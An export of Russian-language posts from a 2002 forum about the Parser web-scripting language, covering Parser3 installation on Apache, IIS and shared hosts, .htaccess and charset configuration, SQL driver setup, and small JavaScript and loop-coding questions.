У меня дома w2k server + apache (rus) - все работат супер-пупер, но возникла наконец необходимость принести то, что я делаю дома (точней диплом) в институт. В институте поставили новый компьтерный класс (формоза избавилась от очередной партии барахла) - соотвественно компьтеры практически не настроены. На всех машинах стоит windows 2000 prof., ну и бог с ним, ставлю апач, копирую с своего (принесенного из дома) диска набор в папку cgi-bin (парсер 2 и 3). Копирую свой httpd.conf и изменяю пути к сайту на харде. Вот и все. Апач прекрасно работает с html, но когда дело доходит до страниц на парсере, получаю, надпись (точно не могу воспроизвести ), но смысл прост \"нет прав на все, что лежит в папке cgi-bin\". Я перекопал все, но вывод прост: что-то надо изменить в httpd.conf, но что я не понимаю (сказываеться незнание английского).\
Буду рад на любую помосч (мне в эту пятницу все показывать, т.к. защита 7 июня.)\
help."
"1952","\"Сабж\" - это \"тема\".... был когда-то такой слэнг у ФИДО-шников...... собственно, я хотел спросить, можно ли организовать поиск по сайту средствами парсера, не прибегая к сторонним прогам"
"1954","просто в хтмл файлах?\
"
"1955"," на все что лежит в папке cgi-bin.\
"
"1956","Сходил покурил, и все сразу понял. \
\
Вот хайку в тему:\
\
Задерганый я совсем стал, простых вещей понять\
и разобраться в них не в силах что-то, эх, старость"
"1957","попробую его поправить и кой-чего пояснить"
"1958","Ну вот, например, здесь, как поиск организован?"
"1959","по базе, содержащей всю инфу на этом сайте"
"1960","Я тебе его скину, только это будет сегодня ночью(после 2-ух) т.к. на работе у меня его нет , там правда ничего из ряда вон выходящего нет: я менял documentroot, servername, default'ные имена страниц ну и добавлял оба парсера как обработчики. Ты мне самое главное ответь (чтоб я наконец успоколся), тебе понятна проблема и ты знаешь в чем я ламер ?? ( последнее чистая правда :-)\
. Давай дальше мылом, что бы не разводить флейм не по теме форума.\
:-)\
Спасиба"
"1961","http://www.egoroff.spb.ru/portfolio/file_8.html"
"1962","[code]AddHandler cgi-script .exe[/code]\
\
без этого apache не считает parser3.exe цги-скриптом...\
\
[quote](сказываеться незнание английского). Буду рад на любую помосч[/quote] ... и русского...\
\
Что-то злобный я стал..."
"1963","Ищем смысл жизни:\
\
[code]SELECT id FROM forum WHERE message LIKE \"%смысл жизни%\";[/code]"
"1964","Дома все у меня работает, домашний конфиг на другом компе тоже работает (иначе как бы я то-нить смотрел бы через localhost ), но на обработчики пишет \"нет прав\". Что-то взаимосвязи прав запуска и самими запуском я не вижу.\
-re: орфография-\
ну незнаю я своего родного языка, незнаю я английского,..стыдно, но жизнь продолжаеться... "
"1966","никогда такую строку не писал и все работает."
"1967","SELECT WHERE LIKE выполняется на моём рабочем celeron за 0,15 сек. Это - медлительность?"
"1968","а если скажем база мегов 200?"
"1971","На относительно старых версиях у меня все работало нормально. Скачал одну из последних - приходится писать (Win98)"
"1972","она создаёт некорректный код, читающий с нечётного адреса такой инструкцией, которой на sparс этого делать нельзя.\
\
диагноз: видимо, со временем, сделаю обнаружение этой ошибки в configure.\
\
а сейчас просто закомментарьте строку\
[code]\
#define HAVE_PRAGMA_PACK \
[/code]\
в src/include/pa_config_auto.h"
"1973","да, если кто знает, починили ли это в gcc, расскажите.\
\
падает…\
[code]\
st  %i1, [ %i0 ]\
[/code]\
…когда %i0 нечётно.\
компилятор не должен был сюда создавать такой код."
"1974","и что если кто-то на sparc включил pack, то действует исключительно на свой страх и риск.\
так что нехорошо это называть \"ошибкой gcc\" = назовём это \"особенностью платформы\".\
скоро в configure добавлю соответствующую проверку."
"1975","...а ведь была задумана, судя по тому, что возвращает 0.\
Как же быть?.."
"1977","Достаточно самому поиграться и комментарии в http://www.mysql.com/doc/F/u/Fulltext_TODO.html почитать... Может бвть, через пару версий оно будет работать повеселей..."
"1978","[code]\
^for[i](1;^news.count[]\\2){\
<tr>\
\
<td>$news.id</td>\
^news.offset(1)\
\
^if($news.id){\
<td>$news.id</td>\
^news.offset(1)\
}\
\
</tr>\
}\
[/code]"
"1979","Пожалуйста скажите какую именно версию parser под freebsd надо там установить, какие права доступа выдать(755),\
а то мне пишет внутренняя ошибка типа.\
За ранее благадарен, Дмитрий."
"1980","Да там просто на h1.ru Парсер не установлен...\
Поищи каой-нить платный, типа на BestHOST.tk\
он установлен..."
"1981","Установить ты его установишь в конце концов, но заставить его правильно работать по-моему не возможно, ну или очень нетривиальная это задача. После двух дней экспериментов я сдался - даже не точобы сдался, но просто уже времени больше не было.\
\
В качестве альтернативы предлагаю - Kombat.ru за три месяца платишь 600 рублей, все возможные сервисы (по крайней мере большинстьво оных). Принимают WM. А из бесплатных... Ща попробую на hoha.ru поставить, если получицца дополнительно савабшу."
"1982","http://parser.hoha.ru/\
Супер, всё работает. Даже баннеров не просят.\
Рекомендую. :)))"
"1984","Извините за оффтопик.\
\
Есть такая проблема: в форуме, как и тут, для выделения текста используются псевдотэги - [ b ] [ / b ] u, i, quote.\
\
Пользователям лениво их вставлять, поэтому я прикрутил кнопки a-la Word и яваскрипт (http://gfkforum.bougakov.com/forum/postnew.html?reply_to=9176) - вы жмёте на кнопочку bold вызывается функция \
\
[code]var currentMessage = document.reply.message.value;\
 if (action == \"bold\") {\
  document.reply.message.value = currentMessage + \" [б] [/б] \";\
  document.reply.message.focus();\
  return;\
 }[/code]\
\
и в поле message формы reply вставляется нужная пара тегов. Пользователи хотят другого - они хотят выделять мышкой нужный текст, нажимать на кнопу и получать пару тэгов вокруг выделения.\
\
Я ума не приложу, как вычесть из значения document.reply.message.value куски текста до и после selection, чтобы потом их пририсовать перед открывающим [б] и после закрывающего [/б] соответственно.\
\
Извините за оффтопик - может, кто чего присоветует?\
"
"1985","Помогите с установкой 3-й версии, а то неполучается (со второй проблем небыло)"
"1986","Симптомы? Сообщения об ошибках? Копии parser.conf и других файлов с настройками? Описание того, что было сделано?"
"1987","Все делал по инстр., но неуверен что все правильно разложил по нужным папочкам и надо ли прописывать пути в *.conf если кладешь PARSER по умолчанию, а что если Винды не на диске С:. Непонятно по поводу папки BIN, в архиве ее нет, а в мануале  о ней упоминают. Теперь ошибки, дословно сейчас нескажу т.к. уже все поломал, но когда ставил версию  CGI+XML броузер писал о невозможности обработать скрипт, при установке версии ISAPI+XML вообще невидел что открывать (index.html),  для теста использовал файлы первого урока. В итоге я наверно чего-то недогнал что куда положить и что где прописать и какую версию вообще лучше использовать, как начинающему програмировать (на ПАРСЕРЕ в частности). Если можете, об'ясните поподробней что и как, плз."
"1988","Потом создай папку, тока не виртуальную, а где-нить в c:\\inetpub\\wwwroot... Или на что там у тебя IIS настроен... Потом задаёшь документ открываемый по умолчанию - index.p3, потом назначаешь Парсер обработчиком файлов .p3 Конфигурационные файлы пока не клади вообще, посмотри, будет он работать как таковой :)))\
\
Кстати, можешь проверить Парсер пустив его из коммандной строки, он тебе должен чё-нить сказать, особливо если не isapi и не xml..."
"1990","теоретически\
можно, просматривая рекурсивно каталоги, считывая файлы, разыскивая в их тексте.\
keywords: ^file::list ^file::load ^string.pos ^string.match\
\
практически\
будет работать только пока размер сайта очень мал, дальше начнёт тормозить и поедать ресурсы совершенно неприлично = так никто не делает.\
keywords: http://www.mnogosearch.com"
"2003","А для кода лучше какой-нить редактор с контролем парности скобок. Шаблоны имеюца ввиду чиста хтмльныя, дизайнерския...\
\
Я например пользую хомсайт, и/или адитор, тока контроля парности тама нет."
"2006","По вопросу сразу скажу - не знаю. :(\
\
Посмотри, как это реализовано в http://forum.ixbt.com\
А именно:\
Чел жмет на кнопочку [b]<B>[/b] и получает дилаожек со строчкой ввода. Туда вводит текст, а он уже вставляется в нужных тэгах..."
"2014","неудобно, юзвери жалуются. "
"2015","А кто же кроме пользователей его ставить будет, да еще и на бесплатный хостинг?\
\
Основная проблема h1 - нестандартность настроек и постпроцессинг (реклама, во всяком случае, так было раньше)."
"2016","Парсер технология, а Dreamweaver редактор. Таким же макаром парсер можно подружить с любым редактором в мире, суть от этого не изменится."
"2017","Потому что в бесплатный тариф MySQL не входит, а без него какой сайт :("
"2018","Интересуют графики и пр. инфа о\
сравнении parser по производитеьности (читай скорости)\
с PHP и ASP ?"
"2019","так про то и базар: каким макаром? Чтоб DW понимал эту технологию и адекватно ее воспроизводил, типа как он работает с различными скриптами, а в DW MX еще и с PHP и др."
"2020","Вывод одно строки текста?\
Работа с БД?\
Математические операции?\
Работа с картинками?\
\
Глобальной-то производительности не существует. В силу различности подходов одним простым скриптом не обойтись...\
А придумать тест, где Parser бастрее/медленнее PHP - как нефиг делать.\
\
Определись уж, \"опускаем\" мы parser или php? ;-)"
"2021","В этом коде все меня устраивает, кроме того, что выводит он только четное число записей из базы, даже если считать нечентное.\
Оно -то понятно почему - все \\2. Ноесли это самое все \\2 убрать, то он выводит с нечетными, только ровно ДВА раза.\
Может кто подскажет, как с этим бороться? \
[code]\
^for[$news.id](1;^news.count[]\\2){\
<tr>\
\
<td>$news.id</td>\
^news.offset(1)\
\
^if($news.id le ^news.count[]){\
^news.offset(1)\
}{\
<td><img src=\"empty.jpg\"></td>\
}\
[/code]\
"
"2022",">Вывод одной строки текста\
>Работа с БД\
>Математические операции\
>Работа с картинками\
\
Во-во по этим четырем пунктам.\
\
Грубо говоря PHP,ASP,parser в основном\
занимаются решением одних и тех же задач (как эти 4),\
вот и было бы интересно parser выигрывает в\
только в скорости разработки или еще и по ресурсоемкости, быстродействию ?\
\
А по памяти (процессору) ?\
\
Вот к примеру, если он - как модуль Апача, как это влияет на скорость работы (ну понятно быстрее, но насколько) ?\
\
Ну вот взять вывод строки в цикле :\
<?\
for($i=0;$i<=20;$i++)echo \"Hi there !\";\
?>\
\
или \
\
^for[](0;20){Hi there !}\
\
\
и вообще, этой проблемой кто-нить занимался ?\
\
И насколько парсер пригоден для больших проектов, к примеру по масштабу кластерных ?"
"2023","Я не сравнивал, и не настолько хорошо знаю php чтобы говорить в пользу того или другого, но...\
\
Если говорить о попытке сравнить \"чисто скорость\", то php выиграет.\
Парсер делает многое незаметно, на это тоже требуются рессурсы (taint, untaint и т.д.).\
Я думаю, что так-же по аналогии perl выиграет у php на математике, на простых строках, в циклах и т.д...\
\
Т.е. получается, что чтобы написать на php то-же самое, потребуется вставить дополнительную кучу вызовов функций, которые сами по себе бывают нужны не всегда. Но там про них иногда забывают... А иногда они действительно не нужны.\
\
У каждой медали есть две стороны. Рессурсы как правило пожираются, когда мы даем какую-либо автоматизацию/упрощение разработчику.\
\
А больщие проекты... Ну не знаю насколько большие проекты делаем ты, мне кажется не очень маленькие...\
\
По требованию к памяти parser (сейчас) почти наверняка более прожорлив.\
\
Опять-же, он прожорлив по памяти, но у него есть встроеные и очень простые в использовании средства кеширования, и они на 95% случаях дают огромный разгруз памяти и процу. Тоже самое средствами php делать несколько сложнее...\
\
Если интересно - сравни и напиши, народ тебе будет благодарен. :)"
"2024","Ставлю : \
$request:charset[windows-1251] \
Получаю :\
unknown charset\
windows-1251\
\
Причем в parser.conf пути проставлены правильно,т.к.\
SQL dll'ки находит !\
\
$charsetsdir[c:\\windows\\parser3\\etc\\parser3.charsets]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir\\koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir\\windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
"
"2025","\
Есть вопросы по установке parser3 на ValueHost:\
\
Там (видимо) FreeBSD,\
\
ставим\
\
\
 Directory of cgi-bin\
\
<DIR>          lib\
     1 157 176 parser3.cgi\
<DIR>          parser3.charsets\
         2 345 parser3.conf\
\
где parser3.conf -- главный файл \"сервера\" \
содержит пути\
\
===\
$configdir[/pub/home/npomis/cgi-bin]\
$charsetsdir[$configdir/parser3.charsets]\
$sqldriversdir[$configdir/lib]\
===\
\
пути ставились и такие, и просто /cgi-bin и /htdocs/mis\
\
права на parser3.cgi ставились 700, 744, 755, без разницы\
\
в корень под-сайта (/htdocs/mis/ -- мне нужно обрабатывать _только_ этот каталог)\
кладем .htaccess\
\
===\
SetEnv HTTP_PARSER_ROOT_CONFIG /pub/home/npomis/cgi-bin/parser3.conf\
SetEnv HTTP_PARSER_SITE_CONFIG /pub/home/npomis/htdocs/mis/parser3.conf\
\
CharsetDisable On \
\
AddHandler server-parsed .shtml .shtm\
\
#RemoveHandler .html\
AddHandler parsed-html .html \
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
===\
\
Однако парсер не запускается,\
страницы показываются с командами в виде текста (птички и пр.).\
\
Кто с этим работал? Есть решения?\
"
"2026","Иначе .htaccess просто игнорируется"
"2027","Кому надо берите мой hrc для Colorer\
(сорри, пока в жесткой бетте, но пашет)\
http://www.nexus.org.ua/parser.hrc"
"2028","Должно быть, ибо наличие его и команды в нем влияют на обработку файлов.\
Так что по крайней мере видит...\
\
И вот что пишет служба поддержки:\
\
===\
Нововедение я тут внедрил, по умолчанию включенно всем, выключается в настройках веб-сервера или перекрывается управлением папок, тоесть по умолчанию если ничего не трогать, то работает .htaccess \
\
\
<Directory \"путь к Вашему DirectoryRoot веб-сервера\"> \
Options -Indexes FollowSymLinks Includes \
AllowOverride All \
Order allow,deny \
Allow from all \
</Directory> \
\
\
С уважением, \
Антон Нехороших. \
==="
"2029","Был бы рад за грмотные примеры/советы по кешированию,\
 где, как правильно юзать и т.д\
\
P.S. Это классная темя для Урока"
"2030","Причеи установки такие:\
\
===\
CHARSET=\"windows-1251\"\
CHARSET_DETERMINED_BY=\"UserAgent\"\
CHARSET_HTTP_METHOD=\"http://\"\
CHARSET_SERVER_NAME=\"npomis.valuehost.ru:80\"\
CHARSET_SERVER_PORT=\"80\"\
DOCUMENT_ROOT=\"/pub/home/npomis/htdocs\"\
GATEWAY_INTERFACE=\"CGI/1.1\"\
HTTP_ACCEPT=\"*/*\"\
HTTP_ACCEPT_LANGUAGE=\"ru\"\
HTTP_CONNECTION=\"Keep-Alive\"\
HTTP_HOST=\"www.npomis.com\"\
HTTP_IF_MODIFIED_SINCE=\"Wed, 29 May 2002 12:15:20 GMT\"\
HTTP_USER_AGENT=\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"\
HTTP_VIA=\"1.0 WEB\"\
PATH=\"/usr/local/bin:/usr/bin:/bin\"\
QUERY_STRING=\"\"\
REMOTE_ADDR=\"195.19.200.157\"\
REMOTE_PORT=\"51495\"\
REQUEST_METHOD=\"GET\"\
REQUEST_URI=\"/cgi-bin/printenv.pl?\"\
SCRIPT_FILENAME=\"/pub/home/npomis/cgi-bin/printenv.pl\"\
SCRIPT_NAME=\"/cgi-bin/printenv.pl\"\
SERVER_ADDR=\"62.118.252.38\"\
SERVER_ADMIN=\"npomis@valuehost.ru\"\
SERVER_NAME=\"www.npomis.com\"\
SERVER_PORT=\"80\"\
SERVER_PROTOCOL=\"HTTP/1.0\"\
SERVER_SOFTWARE=\"Apache/1.3.20 (Unix) mod_gzip/1.3.19.1a PHP/4.1.1 \
mod_fastcgi/2.2.12 mod_ssl/2.8.4 OpenSSL/0.9.5a rus/PL30.5\"\
SOURCE_CHARSET=\"windows-1251\"\
===\
"
"2033","В настройках сервера убери галочку - что не фунциклировал .htaccess включенный по умолчанию. Необходимо посредством управления папок (в интерфейсе есть такая кнопка) добавить 2 записи: первая пустая, вторая на htdocs - у обоих должны стоять галочки \"управление .htaccess\".\
Пути я задавал относительные, типа /cgi-bin/parser3.exe"
"2034","http://www.parser.ru/forum/?id=1429 .\
Пропиши переменную сервера. Если [i]parser3.conf[/i] лежит вместе с [i]parser3.exe[/i], то у меня работает такой код: [code]SetEnv HTTP_PARSER_ROOT_CONFIG \"parser3.conf\"[/code]"
"2035","вариант для IE 4+ ..."
"2037","Вот так:\
[code]\
<html>\
<head>\
<script>\
function WrapWithTags(txt, Tag){\
    var HTML = \"<\" + Tag;\
    HTML += (\">\" +txt + \"</\" + Tag + \">\");\
    return HTML;\
}\
\
function Strong(){\
    var txt = this.toString();\
    var Tag = \"strong\";\
    return WrapWithTags(txt, Tag);\
}\
\
String.prototype.strong = Strong;\
\
function ApplyTag(Tag){\
    if (!document.all && !document.all.item) return; // not IE4+\
    var oSelTxt = document.selection.createRange();\
    var sSelTxt = oSelTxt.text;\
    if (sSelTxt) oSelTxt.text = eval(\"sSelTxt.\"+Tag+\"()\");\
}\
</script>\
</head>\
<body>\
<a href=\"javascript:ApplyTag('strong');\">Bold</a>\
<form>\
<input type=text name=xxx value=text>\
</form>\
</body>\
</html>\
[/code]\
\
Работает :-)\
\
Решение далеко не самое изящное ...\
Для каждого тега надо писать новую функцию ...\
При записи в базу надо матчить - отменять последние пробелы и ставить их после тегов\
(при выделении слов в textarea выделяются и пробелы) ..."
"2039","Допустим у нас есть /images/ex1.gif размером 200*200\
Возможно ли мне как нибудь получить файл /images/ex2.gif размером 100*100 ( тоесть сжатая картинка ).\
\
\
"
"2041","Поставил. Эффекта никакого. \
И почему .exe?\
Там же (кстати, только в форуме) написано, что сервер на FreeBSD...\
Ставил и нормальную версию парсера, и \"всепользовательскую\" -- одно и то же. \
Страницы показывает, но парсер не работает."
"2042","можно [code]^for[i](...;$news\\2)[/code]\
и для сравнения чисел [b]le[/b] не годится:\
[code]^if(... < $news)[/code]"
"2044","http://parser.ru/forum/?id=228"
"2045"," Все равно ничего не решилось, а le вместо < - это сам кайнд оф очепятка. Просто когда я вопрос набирал позади было 12 часов сканирования изображений.\
 Так вот. Выводит только четное число записей и все тут. А как с этим бороться?\
 "
"2046","тогда понятно откуда взялся этот [b]$[/b] :)\
[code]^for[$news.id]([/code]\
\
он не нужен/вреден"
"2047","Может быть я еще не отошел, но сути дело это не изменило. :(\
меняем бакс(и все что с ним) на i, но это не решает \"четной болезни\" моего будущего раздела новостей. Продолжеает выводить только 6 новостей, а седьмую читает и проглатывает"
"2050","\"отправлять на E-mail все сообщения форума\"\
\
Если вы ее поставите, то вам будет на мыло отправляться все, что пишут в форуме.\
\
Если у вас установлен OutlookExpress или TheBat (а может и еще какие-либо почтовики понимают это) и вы включите отображение \"по цепочкам\" - то в почтовом ящике увидите фактически копию форума :) (если точнее то новые сообщения... весь форум не отправляется)\
\
Зачем нужен этот спам - я не знаю (но некоторые хотят). \
\
Во! Придумал зачем! Чтобы иметь офф-лайн копию форума и искать в ней при необходимости :)\
\
Да, вот еще что... Если вы укажите невалидный мыл и включите эту опцию - я вас забаню :)"
"2051","Ты совершенно не понимаешь того, что ты делаешь ($news.id и le, а так-же замена le на <, а не на <= - очередные тому подтверждения).\
\
Ты хочешь, чтобы тебе написали код, вместо того, чтобы начать думать и самому написать его.\
\
Но писать код для кого-то мне лично - лень.\
\
Не лень мне объяснить. Но... только если видно, что от этого есть польза.\
\
Так что извини."
"2052","Дело в том, что ты отчасти прав и понимаю я не все.\
Но понимаешь ли, очень дорогой мой человек,в данном случае \
я перепробовал все. Очень полюбляю самостоятельно ковырятся в коде, парсер не становился - разобрался в итоге сам. Думаю ,что  и с этим сам разберусь, но хотелось бы услышать как можно больше мнений тык-сыть братьев по оружию. И мне на мгновение показалось, что форум именно для этого и существует, но как же я ошибался при жизни (о жестокий мир, прощай, я больше не часть тебя :)\
\
Кроме шуток. Спасибо всем за то, что они хоть и ругают, но все же помогают. Я тоже стараюсь помочь всем, по мере возможности. И того, в чем разобрался уже. Мне  не нужен готовый код, мне нужна готовая \"суть прикола\", и поскольку на меня самого она не снизошла, я спрашиваю Вас, горячо мною любимые и уважаемые."
"2053","...сформулировать словами то, что ты хочешь...\
\
когда сформулируешь - сам напишешь."
"2054","Я хочу :\
Выводить в таблице с двумя стобцами новости. \
А если новостей будет нечетное число, то выводить в последней строке одну ячейку с новостью, а вторую, на которую не хватило данных выводить просто пустой.\
"
"2055","четно или нечетно число строк? ( ^if($val%2){нечетно}{четно})\
\
последняя-ли итерация? (^if(^tbl.count[]\\2 == $i))\
\
не можешь сложить это в один ^if ?"
"2056","Только често, please :)"
"2057","У меня оба парсера экзешки. Все работает. Ну пришлось чуток повозиться - но то было мелочи. Предлагаю перенести флейм в мыло - так можно очень долго выяснять, что где. Пришли пожалуйста мне что возвращяет тебе сервер (если кидает код - напиши что кидает код). Вообщем жду письма, а пока пишешь, поставлю другу из лондона парсер - он уже неделю мучаеться, вот сдался, аккаунт прислал."
"2058","Пытаюсь запустить парсер, но ничего не получается.\
Все настроил при помощи .htaccess (с AllowOverride все нормально, так вторая парсера работает в соседней папке нормально).\
\
Файл .htaccess в каталоге /parser3 имее вид\
\
AddHandler parsed-html prs3\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
CharsetDisable On\
\
Файлы настроек поместил в каталог cgi-bin, где находится сам parser3.cgi\
Набираю первый пример из документации (который выводит меню)\
Создаю файл some.prs3 c одной единственной командой:\
^navigation[]\
открываю его в браузере и имею:\
\
ошибку 500 - внутренняя ошибка сервера\
\
в лог файле ошибок записывается странная вещь:\
\
[Thu May 30 10:07:02 2002] /parser3/some.prs3: user-request(0): '/usr/home/rkai/virtual_server/www/parser3/some.prs3' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/usr/home/rkai/virtual_server/www/parser3/some.prs3' [parser.runtime]\
[Thu May 30 10:07:02 2002] [error] [client 62.76.80.30] Premature end of script headers: /usr/home/rkai/virtual_server/cgi-bin/parser3.cgi "
"2059","Еще в начале p3 писалось (каж. Luzhnikovskiy), что PAF не делает временные решения. Полагаю, что дальше только патчи будут выходить и новый парсеренок выйдет не раньше чем через два года. Хотя, полседнее - только доводы."
"2060","а чем тебя текущая версия не устраивает?"
"2061","скомпилированная с отключенной опцией --disable-foreign-group-files из этого форума были линки для FreeBSD, для других ОС надо компилировать самому."
"2062","Там все и написано:\
не хотит запускать файлы, принадлежащие группе, отличной от той, от которой парсер запускается. Попробуй стянуть с си ви эс исходники и перекопилируй без всего бреда, ав если не хотишь, то поставь всем своим файлам группу Apache - тоже должно пахать"
"2063","Простите за идиотский вопрос: я хочу записать результат математического выражения в файл, как это сделать?"
"2064","по идее как-то так:\
\
$iStr( 1 + 2 )\
^iStr.save[1plus2result.txt]\
"
"2065","Далеко не так....\
iStr - переменная не типа файл и потому метод save к ней не применим, о чем парсер и сообщит...."
"2066","предыдущие ораторы изложили причины проблемы...  :)\
скорее всего у тебя парсер исполняется от имени nobody, попробуй все файлы к которым обращается парсер включить в группу nobody (разрешени для группы - на чтение только, разумеется)\
"
"2067","$iInt( 1 + 2 )\
$sStr[$iInt]\
^sStr.save[1plus2result.txt]\
\
принцип тот же, что и в пред. примере, только там не учтено то, что автопреобразование типов int->str не выполнится ;-)"
"2068","Все работает!  :) 2 Serge - большое спасибо!\
\
Но только мне не понятно\
1. почему конструкция $sStr[$iInt] осуществляет преобразование из int в string - здесь же вроде специально об этом не просят, а просто присваивают значение одной переменной - другой....\
2.как работает конструкция ^sStr.save[1plus2result.txt] - точнее: мы к любой переменной можем применить метод save? (отличный по формату записи, кстати, от применяемого в классе file)\
\
Заранее спасибо за разъяснения!   :)"
"2069","вообще заработался - конечно же у меня .cgi (3 в виде exe'шников не работает). на лондонский сервак valuehost parser3 лег прекрасно."
"2070","1. В этом и заключается \"автопреобразование\" -- любая переменная, если типа не указано явно, по умолчанию есть STRING. Поэтому новая переменная и есть стринг, у когорого, в отличие от INT, есть метод save.\
\
2. Метод save - это метод класса (даже само слово \"метод\" говорит в пользу этого ;-). В данном случае это метод класса STRING. Еще есть у TABLE. Наверняка есть еще у кого-нить, но я этого не знаю - нужно смотреть доку. ;-)"
"2072","тебе обратно в ящик сыпется? А ты её убивай автоматически - делов-то.."
"2073","Попробуем... "
"2074","Чего-то не могу найти никаких цепочек а OE6..."
"2075","Фишка в том, что в сами сообщения мы добавили строчки, которые позволяют прогам, работающим в соответствии с RFC, декларирующим данную фичу, соединять мессы в цепочки...\
\
У TheBAT (это мой выбор, чего и другим желаю) вообще все просто делается:\
View | View threads by | References (standart) Alt+1\
\
Да, я у мышки только проверил это... Мне такой спам не нужен :)"
"2076","ибо навернулся он у меня разок.. похоронив треть гига почты... А шестой аутлук со стандартным набором патчей + Norton AntiVirus в довесок меня удовлетворяет.\
\
[quote]Фишка в том, что в сами сообщения мы добавили строчки, которые позволяют прогам, работающим в соответствии с RFC, декларирующим данную фичу, соединять мессы в цепочки...[/quote]\
\
Кстати, я тут не заменил никаких специфических заголовков: \
\
[code]Return-Path: <design@rol4.design.ru>\
Received: from nabla.kombat.ru (support2.kombat.ru [194.84.73.237])\
	by beta.kombat.ru (8.11.6/8.12.1) with ESMTP id g4UCteS27997\
	for <sanja@bougakov.com>; Thu, 30 May 2002 16:55:40 +0400\
Received: from rol4.design.ru (rol4.design.ru [195.218.200.160])\
	by nabla.kombat.ru (8.11.6/8.12.1) with ESMTP id g4UCtcQ32694\
	for <sanja@bougakov.com>; Thu, 30 May 2002 16:55:38 +0400\
Received: (from design@localhost)\
	by rol4.design.ru (8.11.6/8.11.5) id g4UCtYu26852;\
	Thu, 30 May 2002 16:55:34 +0400 (MSD)\
	(envelope-from design)\
Date: Thu, 30 May 2002 16:55:34 +0400 (MSD)\
Message-Id: <200205301255.g4UCtYu26852@rol4.design.ru>\
subject: answer message on parser3 forum\
content-type: text/plain; charset=windows-1251\
from: mailbox@parser.ru\
to: sanja@bougakov.com\
Status:  O[/code]\
\
И где оно? Интересно ведь...\
"
"2078","Ты включил Эуведомление по email об ответах\", а надо \"отправлять на E-mail все сообщения форума\"\
\
А во вторых ПАФ скоро расскажет :)"
"2081","[code]references: <2077!1!parser.ru>\
in-reply-to: <2077!1!parser.ru>\
message-id: <2080!1!parser.ru>[/code]\
\
Пошёл RFC читать.. "
"2082","Народ, есть у кого-нибудь код на Parser'е для рисования простеньких графиков функций (от одной переменной) в графический файл?"
"2083","На сайте dklab.ru можно выделить фрагмент текста, и нажав Ctrl+Enter, послать его на e-mail или еще куда-то там. Правда, текст не в окошке формы, а просто на странице, но все равно, может из кода выцепишь то, что тебе нужно."
"2084","А пока немного багов: в переменных у парсера может быть и дефис. Например, $response:content-type[]. :-) А ещё колорер умеет такие штуки, как список функций, мне лично это сильно помогало, когда я писал на parser2. ;-)"
"2085","Получаю ошибку:\
z:/home/localhost/www/forum/auto.p(2): 'mysql://root@localhost/forum' $SQL:drivers table must be defined  type: parser.runtime\
\
Подскажите где искать ошибку..."
"2087","[code]function seltxt(opentag,closetag) {\
// Работает только в IE - мозилла и опера не катят...\
	source = document.reply.message.value;\
	sourcelength = source.length;\
\
	if(document.getSelection){\
		selection=document.getSelection();\
	} else\
		if(document.selection){\
			selection=document.selection.createRange().text;\
		} else {\
			alert(\"Ваш браузер не умеет работать с выделенным текстом.\");\
			return;\
		}\
	if(!selection) return;\
	if(selection){\
		selectionlength=selection.length;\
		for(i=0;i<=sourcelength;i++){\
			compare = source.substring(i-1,sourcelength);\
			compare = compare.substring(0,selectionlength);\
			if(compare == selection){\
				startposition = i-1;\
				endposition = (i+selectionlength) ;\
				break;\
			}\
		}\
		prematch  = source.substring(0,startposition);\
		postmatch = source.substring(endposition-1,sourcelength);\
		source = prematch + opentag + selection + closetag + postmatch;\
		document.reply.message.value = source;\
		return;\
	}\
}[/code]\
\
Есть у этой штуковины чудовищный минус - например, выделяю я слово 'кукареку', жму кнопку, и она мне выделяет.. первое упоминание слова 'кукареку', даже если я хотел пометить второе или энное.."
"2091","[code]\
$iInt(^eval(1 + 2))\
$sStr[$iInt]\
^sStr.save[1plus2result.txt]\
[/code]\
\
ибо без eval по идее переменной $iInt должна присвоится просто строка [i]1+2[/i] а не результат математического выражения."
"2092","Т.к. там указаны круглые скобки, то... будет преобразование выражения к числу..."
"2094","однако я всегда где нужно вычислять выражения, пишу ^eval[...]"
"2096","ЛЮДИ!!! HELP ME!!! У меня ни чего не работает. Вроде сделал всё как написано в хэлпе. Поподробнее раскажите как с ним работать, плз."
"2097"," $SQL:drivers нужно подефайнить. Где-нить (в идеале в parser3.conf) напиши:\
\
[code]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	d:\\apache\\carver\\cgi-bin\\parser3mysql.dll	d:\\apache\\carver\\cgi-bin\\libmySQL.dll}]\
]\
[/code]\
"
"2099","компутер купил?"
"2101","А что не работает ?\
\
Напиши (что делал, что выдет сервер и пр.), когда точно можно будет не писать приставку \"Вроде...\", а то как правило либо не хватает терпения, либо лень. Сходи, налей себе чай/кофе, перечитай доку еще пару раз и неспеша разберись - конечно не мне это советовать, но при знакомстве с чем-то новым все проходят определнную стадию непонимания.\
:-) \
"
"2102","Ситуация следующая. На неком mp3-сервере хранятся муз-файлы.\
Но у них дурацкие имена, и исправить положение нет никакой возможности.\
А хочется отдавать их пользователю с нормальными именами с официального сайта.\
\
Есть ли какая-то возможность отдать пользователю красивое имя файла\
и незаметно перенаправить его на сервер?\
Ведь есть просто выдать ему Location: на mp3-сервер, то и имя файла после скачки будет то, которое на сервере, а не на сайте.\
"
"2103","Посмотри HTTP протокол - там все написано. И будешь потом в HTTP заголовках отдавать нужные имена файлов."
"2104","нет, \
можно только, когда файл на нашем сервере.\
\
можно попробовать трюки, какой-нибудь бред такого вида:\
[code]\
http://parser.ru/i/logo.gif/renamed.gif\
[/code]\
\
на apache такое не пройдёт, но мало ли что там.."
"2106","... можно написать скрипт, который заберет данные оттуда и потом выдаст их как \"местные\". Но это как-то не то - получается скачивать 2 раза нужно. ;-)"
"2107","В .htaccess пишем что-то типа:\
[code]\
RewriteEngine on\
RewriteRule green_gray/mf.mp3 http://mp3.server/path/to/file.mp3 [p,l]\
[/code]\
Чел простит green_gray/mf.mp3 - получает файл с таким именем, а контент берется из \"кривого\" файла на другом сервере...\
[b]Важное условие: Apache должен быть собран с mod_proxy.c[/b]\
"
